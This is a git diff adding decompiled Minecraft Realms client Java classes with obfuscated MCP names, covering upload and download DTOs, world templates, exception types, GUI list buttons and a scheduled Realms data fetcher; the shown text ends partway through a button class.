b/src/com/mojang/realmsclient/dto/UploadInfo.java new file mode 100644 index 00000000..46cf9b6b --- /dev/null +++ b/src/com/mojang/realmsclient/dto/UploadInfo.java @@ -0,0 +1,125 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.annotations.VisibleForTesting; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.mojang.realmsclient.util.JsonUtils; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import javax.annotation.Nullable; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class UploadInfo extends ValueObject +{ + private static final Logger field_230638_a_ = LogManager.getLogger(); + private static final Pattern field_243085_b = Pattern.compile("^[a-zA-Z][-a-zA-Z0-9+.]+:"); + private final boolean field_230639_b_; + @Nullable + private final String field_230640_c_; + private final URI field_230641_d_; + + private UploadInfo(boolean p_i242046_1_, @Nullable String p_i242046_2_, URI p_i242046_3_) + { + this.field_230639_b_ = p_i242046_1_; + this.field_230640_c_ = p_i242046_2_; + this.field_230641_d_ = p_i242046_3_; + } + + @Nullable + public static UploadInfo func_230796_a_(String p_230796_0_) + { + try + { + JsonParser jsonparser = new JsonParser(); + JsonObject jsonobject = jsonparser.parse(p_230796_0_).getAsJsonObject(); + String s = JsonUtils.func_225171_a("uploadEndpoint", jsonobject, (String)null); + + if (s != null) + { + int i = JsonUtils.func_225172_a("port", jsonobject, -1); + URI uri = func_243087_a(s, i); + + if (uri != null) + { + boolean flag = JsonUtils.func_225170_a("worldClosed", jsonobject, false); + String s1 = JsonUtils.func_225171_a("token", jsonobject, (String)null); + return new UploadInfo(flag, s1, uri); + } + } + } + catch (Exception exception) + { + field_230638_a_.error("Could not parse UploadInfo: " + exception.getMessage()); + } + + return null; + } + + @Nullable + @VisibleForTesting + public static URI func_243087_a(String p_243087_0_, int p_243087_1_) + { + Matcher matcher = field_243085_b.matcher(p_243087_0_); + String s = func_243088_a(p_243087_0_, matcher); + + try + { + URI uri = new URI(s); + int i = func_243086_a(p_243087_1_, uri.getPort()); + return i != uri.getPort() ? new URI(uri.getScheme(), uri.getUserInfo(), uri.getHost(), i, uri.getPath(), uri.getQuery(), uri.getFragment()) : uri; + } + catch (URISyntaxException urisyntaxexception) + { + field_230638_a_.warn("Failed to parse URI {}", s, urisyntaxexception); + return null; + } + } + + private static int func_243086_a(int p_243086_0_, int p_243086_1_) + { + if (p_243086_0_ != -1) + { + return p_243086_0_; + } + else + { + return p_243086_1_ != -1 ? p_243086_1_ : 8080; + } + } + + private static String func_243088_a(String p_243088_0_, Matcher p_243088_1_) + { + return p_243088_1_.find() ? p_243088_0_ : "http://" + p_243088_0_; + } + + public static String func_243090_b(@Nullable String p_243090_0_) + { + JsonObject jsonobject = new JsonObject(); + + if (p_243090_0_ != null) + { + jsonobject.addProperty("token", p_243090_0_); + } + + return jsonobject.toString(); + } + + @Nullable + public String func_230795_a_() + { + return this.field_230640_c_; + } + + public URI func_243089_b() + { + return this.field_230641_d_; + } + + public boolean func_230799_c_() + { + return this.field_230639_b_; + } +} diff --git a/src/com/mojang/realmsclient/dto/ValueObject.java b/src/com/mojang/realmsclient/dto/ValueObject.java new file mode 100644 index 00000000..ec3baa68 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/ValueObject.java @@ -0,0 +1,42 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.annotations.SerializedName; +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; + +public abstract class ValueObject +{ + public String toString() + { + StringBuilder stringbuilder = new StringBuilder("{"); + + for (Field field : this.getClass().getFields()) + { + if (!func_230801_b_(field)) + { + try + { + stringbuilder.append(func_237702_a_(field)).append("=").append(field.get(this)).append(" "); + } + catch (IllegalAccessException illegalaccessexception) + { + } + } + } + + stringbuilder.deleteCharAt(stringbuilder.length() - 1); + stringbuilder.append('}'); + return stringbuilder.toString(); + } + + private static String func_237702_a_(Field p_237702_0_) + { + SerializedName serializedname = p_237702_0_.getAnnotation(SerializedName.class); + return serializedname != null ? serializedname.value() : p_237702_0_.getName(); + } + + private static boolean func_230801_b_(Field p_230801_0_) + { + return Modifier.isStatic(p_230801_0_.getModifiers()); + } +} diff --git a/src/com/mojang/realmsclient/dto/WorldDownload.java b/src/com/mojang/realmsclient/dto/WorldDownload.java new file mode 100644 index 00000000..34c2e58f --- /dev/null +++ b/src/com/mojang/realmsclient/dto/WorldDownload.java @@ -0,0 +1,35 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.mojang.realmsclient.util.JsonUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class WorldDownload extends ValueObject +{ + private static final Logger field_230646_d_ = LogManager.getLogger(); + public String field_230643_a_; + public String field_230644_b_; + public String field_230645_c_; + + public static WorldDownload func_230802_a_(String p_230802_0_) + { + JsonParser jsonparser = new JsonParser(); + JsonObject jsonobject = jsonparser.parse(p_230802_0_).getAsJsonObject(); + WorldDownload worlddownload = new WorldDownload(); + + try + { + worlddownload.field_230643_a_ = JsonUtils.func_225171_a("downloadLink", jsonobject, ""); + worlddownload.field_230644_b_ = JsonUtils.func_225171_a("resourcePackUrl", jsonobject, ""); + worlddownload.field_230645_c_ = JsonUtils.func_225171_a("resourcePackHash", jsonobject, ""); + } + catch (Exception exception) + { + field_230646_d_.error("Could not parse WorldDownload: " + exception.getMessage()); + } + + return worlddownload; + } +} diff --git a/src/com/mojang/realmsclient/dto/WorldTemplate.java b/src/com/mojang/realmsclient/dto/WorldTemplate.java new file mode 100644 index 00000000..273ed999 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/WorldTemplate.java @@ -0,0 +1,55 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.JsonObject; +import com.mojang.realmsclient.util.JsonUtils; +import javax.annotation.Nullable; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class WorldTemplate extends ValueObject +{ + private static final Logger field_230656_j_ = LogManager.getLogger(); + public String field_230647_a_ = ""; + public String field_230648_b_ = ""; + public String field_230649_c_ = ""; + public String field_230650_d_ = ""; + public String field_230651_e_ = ""; + @Nullable + public String field_230652_f_; + public String field_230653_g_ = ""; + public String field_230654_h_ = ""; + public WorldTemplate.Type field_230655_i_ = WorldTemplate.Type.WORLD_TEMPLATE; + + public static WorldTemplate func_230803_a_(JsonObject p_230803_0_) + { + WorldTemplate worldtemplate = new WorldTemplate(); + + try + { + worldtemplate.field_230647_a_ = JsonUtils.func_225171_a("id", p_230803_0_, ""); + worldtemplate.field_230648_b_ = JsonUtils.func_225171_a("name", p_230803_0_, ""); + worldtemplate.field_230649_c_ = JsonUtils.func_225171_a("version", p_230803_0_, ""); + worldtemplate.field_230650_d_ = JsonUtils.func_225171_a("author", p_230803_0_, ""); + worldtemplate.field_230651_e_ = JsonUtils.func_225171_a("link", p_230803_0_, ""); + worldtemplate.field_230652_f_ = JsonUtils.func_225171_a("image", p_230803_0_, (String)null); + worldtemplate.field_230653_g_ = JsonUtils.func_225171_a("trailer", p_230803_0_, ""); + worldtemplate.field_230654_h_ = JsonUtils.func_225171_a("recommendedPlayers", p_230803_0_, ""); + worldtemplate.field_230655_i_ = WorldTemplate.Type.valueOf(JsonUtils.func_225171_a("type", p_230803_0_, WorldTemplate.Type.WORLD_TEMPLATE.name())); + } + catch (Exception exception) + { + field_230656_j_.error("Could not parse WorldTemplate: " + exception.getMessage()); + } + + return worldtemplate; + } + + public static enum Type + { + WORLD_TEMPLATE, + MINIGAME, + ADVENTUREMAP, + EXPERIENCE, + INSPIRATION; + } +} diff --git a/src/com/mojang/realmsclient/dto/WorldTemplatePaginatedList.java b/src/com/mojang/realmsclient/dto/WorldTemplatePaginatedList.java new file mode 100644 index 00000000..12e7c935 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/WorldTemplatePaginatedList.java @@ -0,0 +1,65 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.collect.Lists; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.mojang.realmsclient.util.JsonUtils; +import java.util.Collections; +import java.util.Iterator; +import java.util.List; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class WorldTemplatePaginatedList extends ValueObject +{ + private static final Logger field_230661_e_ = LogManager.getLogger(); + public List field_230657_a_; + public int field_230658_b_; + public int field_230659_c_; + public int field_230660_d_; + + public WorldTemplatePaginatedList() + { + } + + public WorldTemplatePaginatedList(int p_i51733_1_) + { + this.field_230657_a_ = Collections.emptyList(); + this.field_230658_b_ = 0; + this.field_230659_c_ = p_i51733_1_; + this.field_230660_d_ = -1; + } + + public static WorldTemplatePaginatedList func_230804_a_(String p_230804_0_) + { + WorldTemplatePaginatedList worldtemplatepaginatedlist = new WorldTemplatePaginatedList(); + worldtemplatepaginatedlist.field_230657_a_ = Lists.newArrayList(); + + try + { + JsonParser jsonparser = new JsonParser(); + JsonObject jsonobject = jsonparser.parse(p_230804_0_).getAsJsonObject(); + + if (jsonobject.get("templates").isJsonArray()) + { + Iterator iterator = jsonobject.get("templates").getAsJsonArray().iterator(); + + while (iterator.hasNext()) + { + worldtemplatepaginatedlist.field_230657_a_.add(WorldTemplate.func_230803_a_(iterator.next().getAsJsonObject())); + } + } + + worldtemplatepaginatedlist.field_230658_b_ = JsonUtils.func_225172_a("page", jsonobject, 0); + worldtemplatepaginatedlist.field_230659_c_ = JsonUtils.func_225172_a("size", jsonobject, 0); + worldtemplatepaginatedlist.field_230660_d_ = JsonUtils.func_225172_a("total", jsonobject, 0); + } + catch (Exception exception) + { + field_230661_e_.error("Could not parse WorldTemplatePaginatedList: " + exception.getMessage()); + } + + return worldtemplatepaginatedlist; + } +} diff --git a/src/com/mojang/realmsclient/dto/package-info.java b/src/com/mojang/realmsclient/dto/package-info.java new file mode 100644 index 00000000..6407a19e --- /dev/null +++ b/src/com/mojang/realmsclient/dto/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.realmsclient.dto; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/realmsclient/exception/RealmsDefaultUncaughtExceptionHandler.java b/src/com/mojang/realmsclient/exception/RealmsDefaultUncaughtExceptionHandler.java new file mode 100644 index 00000000..074c6602 --- /dev/null +++ b/src/com/mojang/realmsclient/exception/RealmsDefaultUncaughtExceptionHandler.java @@ -0,0 +1,20 @@ +package com.mojang.realmsclient.exception; + +import java.lang.Thread.UncaughtExceptionHandler; +import org.apache.logging.log4j.Logger; + +public class RealmsDefaultUncaughtExceptionHandler implements UncaughtExceptionHandler +{ + private final Logger field_224980_a; + + public RealmsDefaultUncaughtExceptionHandler(Logger p_i51787_1_) + { + this.field_224980_a = p_i51787_1_; + } + + public void uncaughtException(Thread p_uncaughtException_1_, Throwable p_uncaughtException_2_) + { + this.field_224980_a.error("Caught previously unhandled exception :"); + this.field_224980_a.error(p_uncaughtException_2_); + } +} diff --git a/src/com/mojang/realmsclient/exception/RealmsHttpException.java b/src/com/mojang/realmsclient/exception/RealmsHttpException.java new file mode 100644 index 00000000..225ae930 --- /dev/null +++ b/src/com/mojang/realmsclient/exception/RealmsHttpException.java @@ -0,0 +1,9 @@ +package com.mojang.realmsclient.exception; + +public class RealmsHttpException extends RuntimeException +{ + public RealmsHttpException(String p_i51786_1_, Exception p_i51786_2_) + { + super(p_i51786_1_, p_i51786_2_); + } +} diff --git a/src/com/mojang/realmsclient/exception/RealmsServiceException.java b/src/com/mojang/realmsclient/exception/RealmsServiceException.java new file mode 100644 index 00000000..822a75ee --- /dev/null +++ b/src/com/mojang/realmsclient/exception/RealmsServiceException.java @@ -0,0 +1,44 @@ +package com.mojang.realmsclient.exception; + +import com.mojang.realmsclient.client.RealmsError; +import net.minecraft.client.resources.I18n; + +public class RealmsServiceException extends Exception +{ + public final int field_224981_a; + public final String field_224982_b; + public final int field_224983_c; + public final String field_224984_d; + + public RealmsServiceException(int p_i51784_1_, String p_i51784_2_, RealmsError p_i51784_3_) + { + super(p_i51784_2_); + this.field_224981_a = p_i51784_1_; + this.field_224982_b = p_i51784_2_; + this.field_224983_c = p_i51784_3_.func_224974_b(); + this.field_224984_d = p_i51784_3_.func_224973_a(); + } + + public RealmsServiceException(int p_i51785_1_, String p_i51785_2_, int p_i51785_3_, String p_i51785_4_) + { + super(p_i51785_2_); + this.field_224981_a = p_i51785_1_; + this.field_224982_b = p_i51785_2_; + this.field_224983_c = p_i51785_3_; + this.field_224984_d = p_i51785_4_; + } + + public String toString() + { + if (this.field_224983_c == -1) + { + return "Realms (" + this.field_224981_a + ") " + this.field_224982_b; + } + else + { + String s = "mco.errorMessage." + this.field_224983_c; + String s1 = I18n.format(s); + return (s1.equals(s) ? this.field_224984_d : s1) + " - " + this.field_224983_c; + } + } +} diff --git a/src/com/mojang/realmsclient/exception/RetryCallException.java b/src/com/mojang/realmsclient/exception/RetryCallException.java new file mode 100644 index 00000000..b103e73e --- /dev/null +++ b/src/com/mojang/realmsclient/exception/RetryCallException.java @@ -0,0 +1,20 @@ +package com.mojang.realmsclient.exception; + +public class RetryCallException extends RealmsServiceException +{ + public final int field_224985_e; + + public RetryCallException(int p_i242130_1_, int p_i242130_2_) + { + super(p_i242130_2_, "Retry operation", -1, ""); + + if (p_i242130_1_ >= 0 && p_i242130_1_ <= 120) + { + this.field_224985_e = p_i242130_1_; + } + else + { + this.field_224985_e = 5; + } + } +} diff --git a/src/com/mojang/realmsclient/exception/package-info.java b/src/com/mojang/realmsclient/exception/package-info.java new file mode 100644 index 00000000..ab0335cc --- /dev/null +++ b/src/com/mojang/realmsclient/exception/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.realmsclient.exception; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/realmsclient/gui/ListButton.java b/src/com/mojang/realmsclient/gui/ListButton.java new file mode 100644 index 00000000..91821c5e --- /dev/null +++ b/src/com/mojang/realmsclient/gui/ListButton.java @@ -0,0 +1,86 @@ +package com.mojang.realmsclient.gui; + +import com.mojang.blaze3d.matrix.MatrixStack; +import java.util.List; +import net.minecraft.client.gui.widget.list.ExtendedList; +import net.minecraft.realms.RealmsObjectSelectionList; + +public abstract class ListButton +{ + public final int field_225125_a; + public final int field_225126_b; + public final int field_225127_c; + public final int field_225128_d; + + public ListButton(int p_i51779_1_, int p_i51779_2_, int p_i51779_3_, int p_i51779_4_) + { + this.field_225125_a = p_i51779_1_; + this.field_225126_b = p_i51779_2_; + this.field_225127_c = p_i51779_3_; + this.field_225128_d = p_i51779_4_; + } + + public void func_237726_a_(MatrixStack p_237726_1_, int p_237726_2_, int p_237726_3_, int p_237726_4_, int p_237726_5_) + { + int i = p_237726_2_ + this.field_225127_c; + int j = p_237726_3_ + this.field_225128_d; + boolean flag = false; + + if (p_237726_4_ >= i && p_237726_4_ <= i + this.field_225125_a && p_237726_5_ >= j && p_237726_5_ <= j + this.field_225126_b) + { + flag = true; + } + + this.func_230435_a_(p_237726_1_, i, j, flag); + } + + protected abstract void func_230435_a_(MatrixStack p_230435_1_, int p_230435_2_, int p_230435_3_, boolean p_230435_4_); + + public int func_225122_a() + { + return this.field_225127_c + this.field_225125_a; + } + + public int func_225123_b() + { + return this.field_225128_d + this.field_225126_b; + } + + public abstract void func_225121_a(int p_225121_1_); + + public static void func_237727_a_(MatrixStack p_237727_0_, List p_237727_1_, RealmsObjectSelectionList p_237727_2_, int p_237727_3_, int p_237727_4_, int p_237727_5_, int p_237727_6_) + { + for (ListButton listbutton : p_237727_1_) + { + if (p_237727_2_.getRowWidth() > listbutton.func_225122_a()) + { + listbutton.func_237726_a_(p_237727_0_, p_237727_3_, p_237727_4_, p_237727_5_, p_237727_6_); + } + } + } + + public static void func_237728_a_(RealmsObjectSelectionList p_237728_0_, ExtendedList.AbstractListEntry p_237728_1_, List p_237728_2_, int p_237728_3_, double p_237728_4_, double p_237728_6_) + { + if (p_237728_3_ == 0) + { + int i = p_237728_0_.getEventListeners().indexOf(p_237728_1_); + + if (i > -1) + { + p_237728_0_.func_231400_a_(i); + int j = p_237728_0_.getRowLeft(); + int k = p_237728_0_.getRowTop(i); + int l = (int)(p_237728_4_ - (double)j); + int i1 = (int)(p_237728_6_ - (double)k); + + for (ListButton listbutton : p_237728_2_) + { + if (l >= listbutton.field_225127_c && l <= listbutton.func_225122_a() && i1 >= listbutton.field_225128_d && i1 <= listbutton.func_225123_b()) + { + listbutton.func_225121_a(i); + } + } + } + } + } +} diff --git a/src/com/mojang/realmsclient/gui/LongRunningTask.java b/src/com/mojang/realmsclient/gui/LongRunningTask.java new file mode 100644 index 00000000..b193aa0b --- /dev/null +++ b/src/com/mojang/realmsclient/gui/LongRunningTask.java @@ -0,0 +1,68 @@ +package com.mojang.realmsclient.gui; + +import com.mojang.realmsclient.gui.screens.RealmsLongRunningMcoTaskScreen; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.realms.IErrorConsumer; +import net.minecraft.util.text.ITextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public abstract class LongRunningTask implements IErrorConsumer, Runnable +{ + public static final Logger field_238124_a_ = LogManager.getLogger(); + protected RealmsLongRunningMcoTaskScreen field_224993_a; + + protected static void func_238125_a_(int p_238125_0_) + { + try + { + Thread.sleep((long)(p_238125_0_ * 1000)); + } + catch (InterruptedException interruptedexception) + { + field_238124_a_.error("", (Throwable)interruptedexception); + } + } + + public static void func_238127_a_(Screen p_238127_0_) + { + Minecraft minecraft = Minecraft.getInstance(); + minecraft.execute(() -> + { + minecraft.displayGuiScreen(p_238127_0_); + }); + } + + public void func_224987_a(RealmsLongRunningMcoTaskScreen p_224987_1_) + { + this.field_224993_a = p_224987_1_; + } + + public void func_230434_a_(ITextComponent p_230434_1_) + { + this.field_224993_a.func_230434_a_(p_230434_1_); + } + + public void func_224989_b(ITextComponent p_224989_1_) + { + this.field_224993_a.func_224234_b(p_224989_1_); + } + + public boolean func_224988_a() + { + return this.field_224993_a.func_224235_b(); + } + + public void func_224990_b() + { + } + + public void func_224991_c() + { + } + + public void func_224992_d() + { + } +} diff --git a/src/com/mojang/realmsclient/gui/RealmsDataFetcher.java b/src/com/mojang/realmsclient/gui/RealmsDataFetcher.java new file mode 100644 index 00000000..389543dd --- /dev/null +++ b/src/com/mojang/realmsclient/gui/RealmsDataFetcher.java @@ -0,0 +1,401 @@ +package com.mojang.realmsclient.gui; + +import com.google.common.collect.Lists; +import com.google.common.collect.Sets; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.RealmsNews; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.dto.RealmsServerPlayerLists; +import com.mojang.realmsclient.util.RealmsPersistence; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.ScheduledFuture; +import java.util.concurrent.TimeUnit; +import net.minecraft.client.Minecraft; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsDataFetcher +{ + private static final Logger field_225088_a = LogManager.getLogger(); + private final ScheduledExecutorService field_225089_b = Executors.newScheduledThreadPool(3); + private volatile boolean field_225090_c = true; + private final Runnable field_225091_d = new RealmsDataFetcher.ServerListUpdateTask(); + private final Runnable field_225092_e = new RealmsDataFetcher.PendingInviteUpdateTask(); + private final Runnable field_225093_f = new RealmsDataFetcher.TrialAvailabilityTask(); + private final Runnable field_225094_g = new RealmsDataFetcher.LiveStatsTask(); + private final Runnable field_225095_h = new RealmsDataFetcher.UnreadNewsTask(); + private final Set field_225096_i = Sets.newHashSet(); + private List field_225097_j = Lists.newArrayList(); + private RealmsServerPlayerLists field_225098_k; + private int field_225099_l; + private boolean field_225100_m; + private boolean field_225101_n; + private String field_225102_o; + private ScheduledFuture field_225103_p; + private ScheduledFuture field_225104_q; + private ScheduledFuture field_225105_r; + private ScheduledFuture field_225106_s; + private ScheduledFuture field_225107_t; + private final Map field_225108_u = new ConcurrentHashMap<>(RealmsDataFetcher.Task.values().length); + + public boolean func_225065_a() + { + return this.field_225090_c; + } + + public synchronized void func_225086_b() + { + if (this.field_225090_c) + { + this.field_225090_c = false; + this.func_225084_n(); + this.func_225069_m(); + } + } + + public synchronized void func_237710_c_() + { + if (this.field_225090_c) + { + this.field_225090_c = false; + this.func_225084_n(); + this.field_225108_u.put(RealmsDataFetcher.Task.PENDING_INVITE, false); + this.field_225104_q = this.field_225089_b.scheduleAtFixedRate(this.field_225092_e, 0L, 10L, TimeUnit.SECONDS); + this.field_225108_u.put(RealmsDataFetcher.Task.TRIAL_AVAILABLE, false); + this.field_225105_r = this.field_225089_b.scheduleAtFixedRate(this.field_225093_f, 0L, 60L, TimeUnit.SECONDS); + this.field_225108_u.put(RealmsDataFetcher.Task.UNREAD_NEWS, false); + this.field_225107_t = this.field_225089_b.scheduleAtFixedRate(this.field_225095_h, 0L, 300L, TimeUnit.SECONDS); + } + } + + public boolean func_225083_a(RealmsDataFetcher.Task p_225083_1_) + { + Boolean obool = this.field_225108_u.get(p_225083_1_); + return obool == null ? false : obool; + } + + public void func_225072_c() + { + for (RealmsDataFetcher.Task realmsdatafetcher$task : this.field_225108_u.keySet()) + { + this.field_225108_u.put(realmsdatafetcher$task, false); + } + } + + public synchronized void func_225087_d() + { + this.func_225070_k(); + this.func_225086_b(); + } + + public synchronized List func_225078_e() + { + return Lists.newArrayList(this.field_225097_j); + } + + public synchronized int func_225081_f() + { + return this.field_225099_l; + } + + public synchronized boolean func_225071_g() + { + return this.field_225100_m; + } + + public synchronized RealmsServerPlayerLists func_225079_h() + { + return this.field_225098_k; + } + + public synchronized boolean func_225059_i() + { + return this.field_225101_n; + } + + public synchronized String func_225063_j() + { + return this.field_225102_o; + } + + public synchronized void func_225070_k() + { + this.field_225090_c = true; + this.func_225084_n(); + } + + private void func_225069_m() + { + for (RealmsDataFetcher.Task realmsdatafetcher$task : RealmsDataFetcher.Task.values()) + { + this.field_225108_u.put(realmsdatafetcher$task, false); + } + + this.field_225103_p = this.field_225089_b.scheduleAtFixedRate(this.field_225091_d, 0L, 60L, TimeUnit.SECONDS); + this.field_225104_q = this.field_225089_b.scheduleAtFixedRate(this.field_225092_e, 0L, 10L, TimeUnit.SECONDS); + this.field_225105_r = this.field_225089_b.scheduleAtFixedRate(this.field_225093_f, 0L, 60L, TimeUnit.SECONDS); + this.field_225106_s = this.field_225089_b.scheduleAtFixedRate(this.field_225094_g, 0L, 10L, TimeUnit.SECONDS); + this.field_225107_t = this.field_225089_b.scheduleAtFixedRate(this.field_225095_h, 0L, 300L, TimeUnit.SECONDS); + } + + private void func_225084_n() + { + try + { + if (this.field_225103_p != null) + { + this.field_225103_p.cancel(false); + } + + if (this.field_225104_q != null) + { + this.field_225104_q.cancel(false); + } + + if (this.field_225105_r != null) + { + this.field_225105_r.cancel(false); + } + + if (this.field_225106_s != null) + { + this.field_225106_s.cancel(false); + } + + if (this.field_225107_t != null) + { + this.field_225107_t.cancel(false); + } + } + catch (Exception exception) + { + field_225088_a.error("Failed to cancel Realms tasks", (Throwable)exception); + } + } + + private synchronized void func_225080_b(List p_225080_1_) + { + int i = 0; + + for (RealmsServer realmsserver : this.field_225096_i) + { + if (p_225080_1_.remove(realmsserver)) + { + ++i; + } + } + + if (i == 0) + { + this.field_225096_i.clear(); + } + + this.field_225097_j = p_225080_1_; + } + + public synchronized void func_225085_a(RealmsServer p_225085_1_) + { + this.field_225097_j.remove(p_225085_1_); + this.field_225096_i.add(p_225085_1_); + } + + private boolean func_225068_o() + { + return !this.field_225090_c; + } + + class LiveStatsTask implements Runnable + { + private LiveStatsTask() + { + } + + public void run() + { + if (RealmsDataFetcher.this.func_225068_o()) + { + this.func_225048_a(); + } + } + + private void func_225048_a() + { + try + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + RealmsDataFetcher.this.field_225098_k = realmsclient.func_224915_f(); + RealmsDataFetcher.this.field_225108_u.put(RealmsDataFetcher.Task.LIVE_STATS, true); + } + catch (Exception exception) + { + RealmsDataFetcher.field_225088_a.error("Couldn't get live stats", (Throwable)exception); + } + } + } + + class PendingInviteUpdateTask implements Runnable + { + private PendingInviteUpdateTask() + { + } + + public void run() + { + if (RealmsDataFetcher.this.func_225068_o()) + { + this.func_225051_a(); + } + } + + private void func_225051_a() + { + try + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + RealmsDataFetcher.this.field_225099_l = realmsclient.func_224909_j(); + RealmsDataFetcher.this.field_225108_u.put(RealmsDataFetcher.Task.PENDING_INVITE, true); + } + catch (Exception exception) + { + RealmsDataFetcher.field_225088_a.error("Couldn't get pending invite count", (Throwable)exception); + } + } + } + + class ServerListUpdateTask implements Runnable + { + private ServerListUpdateTask() + { + } + + public void run() + { + if (RealmsDataFetcher.this.func_225068_o()) + { + this.func_225053_a(); + } + } + + private void func_225053_a() + { + try + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + List list = realmsclient.func_224902_e().field_230605_a_; + + if (list != null) + { + list.sort(new RealmsServer.ServerComparator(Minecraft.getInstance().getSession().getUsername())); + RealmsDataFetcher.this.func_225080_b(list); + RealmsDataFetcher.this.field_225108_u.put(RealmsDataFetcher.Task.SERVER_LIST, true); + } + else + { + RealmsDataFetcher.field_225088_a.warn("Realms server list was null or empty"); + } + } + catch (Exception exception) + { + RealmsDataFetcher.this.field_225108_u.put(RealmsDataFetcher.Task.SERVER_LIST, true); + RealmsDataFetcher.field_225088_a.error("Couldn't get server list", (Throwable)exception); + } + } + } + + public static enum Task + { + SERVER_LIST, + PENDING_INVITE, + TRIAL_AVAILABLE, + LIVE_STATS, + UNREAD_NEWS; + } + + class TrialAvailabilityTask implements Runnable + { + private TrialAvailabilityTask() + { + } + + public void run() + { + if (RealmsDataFetcher.this.func_225068_o()) + { + this.func_225055_a(); + } + } + + private void func_225055_a() + { + try + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + RealmsDataFetcher.this.field_225100_m = realmsclient.func_224914_n(); + RealmsDataFetcher.this.field_225108_u.put(RealmsDataFetcher.Task.TRIAL_AVAILABLE, true); + } + catch (Exception exception) + { + RealmsDataFetcher.field_225088_a.error("Couldn't get trial availability", (Throwable)exception); + } + } + } + + class UnreadNewsTask implements Runnable + { + private UnreadNewsTask() + { + } + + public void run() + { + if (RealmsDataFetcher.this.func_225068_o()) + { + this.func_225057_a(); + } + } + + private void func_225057_a() + { + try + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + RealmsNews realmsnews = null; + + try + { + realmsnews = realmsclient.func_224920_m(); + } + catch (Exception exception) + { + } + + RealmsPersistence.RealmsPersistenceData realmspersistence$realmspersistencedata = RealmsPersistence.func_225188_a(); + + if (realmsnews != null) + { + String s = realmsnews.field_230580_a_; + + if (s != null && !s.equals(realmspersistence$realmspersistencedata.field_225185_a)) + { + realmspersistence$realmspersistencedata.field_225186_b = true; + realmspersistence$realmspersistencedata.field_225185_a = s; + RealmsPersistence.func_225187_a(realmspersistence$realmspersistencedata); + } + } + + RealmsDataFetcher.this.field_225101_n = realmspersistence$realmspersistencedata.field_225186_b; + RealmsDataFetcher.this.field_225102_o = realmspersistence$realmspersistencedata.field_225185_a; + RealmsDataFetcher.this.field_225108_u.put(RealmsDataFetcher.Task.UNREAD_NEWS, true); + } + catch (Exception exception1) + { + RealmsDataFetcher.field_225088_a.error("Couldn't get unread news", (Throwable)exception1); + } + } + } +} diff --git a/src/com/mojang/realmsclient/gui/RealmsServerSlotButton.java b/src/com/mojang/realmsclient/gui/RealmsServerSlotButton.java new file mode 100644 index 00000000..e18550f7 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/RealmsServerSlotButton.java @@ -0,0 +1,266 @@ +package com.mojang.realmsclient.gui; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.datafixers.util.Pair; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.dto.RealmsWorldOptions; +import com.mojang.realmsclient.util.RealmsTextureManager; +import java.util.function.Consumer; +import java.util.function.Supplier; +import javax.annotation.Nullable; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.screen.IScreen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.renderer.texture.TextureManager; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TranslationTextComponent; + +public class RealmsServerSlotButton extends Button implements IScreen +{ + public static final ResourceLocation field_237712_a_ = new ResourceLocation("realms", "textures/gui/realms/slot_frame.png"); + public static final ResourceLocation field_237713_b_ = new ResourceLocation("realms", "textures/gui/realms/empty_frame.png"); + public static final ResourceLocation field_237714_c_ = new ResourceLocation("minecraft", "textures/gui/title/background/panorama_0.png"); + public static final ResourceLocation field_237715_d_ = new ResourceLocation("minecraft", "textures/gui/title/background/panorama_2.png"); + public static final ResourceLocation field_237716_e_ = new ResourceLocation("minecraft", "textures/gui/title/background/panorama_3.png"); + private static final ITextComponent field_243091_v = new TranslationTextComponent("mco.configure.world.slot.tooltip.active"); + private static final ITextComponent field_243092_w = new TranslationTextComponent("mco.configure.world.slot.tooltip.minigame"); + private static final ITextComponent 